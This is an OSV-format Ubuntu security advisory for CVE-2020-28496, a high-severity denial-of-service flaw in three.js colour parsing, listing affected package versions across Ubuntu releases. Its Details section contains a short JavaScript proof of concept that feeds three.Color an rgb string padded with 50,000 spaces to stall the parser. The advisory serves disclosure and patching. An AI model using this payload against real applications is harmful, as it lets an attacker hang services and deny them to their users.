UBUNTU-CVE-2020-28496

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Source
https://ubuntu.com/security/CVE-2020-28496
Import Source
https://github.com/canonical/ubuntu-security-notices/blob/main/osv/cve/2020/UBUNTU-CVE-2020-28496.json
JSON Data
https://api.osv.dev/v1/vulns/UBUNTU-CVE-2020-28496
Upstream
  • CVE-2020-28496
Published
2021-02-18T15:15:00Z
Modified
2026-05-20T16:04:23.714826245Z
Severity
  • 7.5 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H CVSS Calculator
  • 7.5 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H CVSS Calculator
  • Ubuntu - medium
Summary
[none]
Details

This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function buildblank (n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(buildblank(50000)) var timecost = Date.now() - time; console.log(timecost+" ms")

References

Affected packages

Ubuntu:16.04:LTS
three.js

Package

Name
three.js
Purl
pkg:deb/ubuntu/three.js?arch=source&distro=xenial

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected

Affected versions

Other
73+dfsg-1

Ecosystem specific 

{
    "binaries": [
        {
            "binary_version": "73+dfsg-1",
            "binary_name": "libjs-three"
        }
    ]
}

Database specific

source 
"https://github.com/canonical/ubuntu-security-notices/blob/main/osv/cve/2020/UBUNTU-CVE-2020-28496.json"
Ubuntu:18.04:LTS
three.js

Package

Name
three.js
Purl
pkg:deb/ubuntu/three.js?arch=source&distro=bionic

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected

Affected versions

Other
80+dfsg2-1

Ecosystem specific 

{
    "binaries": [
        {
            "binary_version": "80+dfsg2-1",
            "binary_name": "libjs-three"
        }
    ]
}

Database specific

source 
"https://github.com/canonical/ubuntu-security-notices/blob/main/osv/cve/2020/UBUNTU-CVE-2020-28496.json"
Ubuntu:20.04:LTS
three.js

Package

Name
three.js
Purl
pkg:deb/ubuntu/three.js?arch=source&distro=focal

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected

Affected versions

Other
80+dfsg2-2
111+dfsg1-1

Ecosystem specific 

{
    "binaries": [
        {
            "binary_version": "111+dfsg1-1",
            "binary_name": "libjs-three"
        }
    ]
}

Database specific

source 
"https://github.com/canonical/ubuntu-security-notices/blob/main/osv/cve/2020/UBUNTU-CVE-2020-28496.json"
Ubuntu:22.04:LTS
three.js

Package

Name
three.js
Purl
pkg:deb/ubuntu/three.js?arch=source&distro=jammy

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected

Affected versions

Other
111+dfsg1-2

Ecosystem specific 

{
    "binaries": [
        {
            "binary_version": "111+dfsg1-2",
            "binary_name": "libjs-three"
        }
    ]
}

Database specific

source 
"https://github.com/canonical/ubuntu-security-notices/blob/main/osv/cve/2020/UBUNTU-CVE-2020-28496.json"
Ubuntu:24.04:LTS
three.js

Package

Name
three.js
Purl
pkg:deb/ubuntu/three.js?arch=source&distro=noble

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected

Affected versions

Other
111+dfsg1-3

Ecosystem specific 

{
    "binaries": [
        {
            "binary_version": "111+dfsg1-3",
            "binary_name": "libjs-three"
        }
    ]
}

Database specific

source 
"https://github.com/canonical/ubuntu-security-notices/blob/main/osv/cve/2020/UBUNTU-CVE-2020-28496.json"
Ubuntu:25.10
three.js

Package

Name
three.js
Purl
pkg:deb/ubuntu/three.js?arch=source&distro=questing

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected

Affected versions

Other
111+dfsg1-3

Ecosystem specific 

{
    "binaries": [
        {
            "binary_version": "111+dfsg1-3",
            "binary_name": "libjs-three"
        }
    ]
}

Database specific

source 
"https://github.com/canonical/ubuntu-security-notices/blob/main/osv/cve/2020/UBUNTU-CVE-2020-28496.json"
Ubuntu:26.04:LTS
three.js

Package

Name
three.js
Purl
pkg:deb/ubuntu/three.js?arch=source&distro=resolute

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected

Affected versions

Other
111+dfsg1-3
111+dfsg1-3build1
111+dfsg1-4
111+dfsg1-5

Ecosystem specific 

{
    "binaries": [
        {
            "binary_version": "111+dfsg1-5",
            "binary_name": "libjs-three"
        }
    ]
}

Database specific

source 
"https://github.com/canonical/ubuntu-security-notices/blob/main/osv/cve/2020/UBUNTU-CVE-2020-28496.json"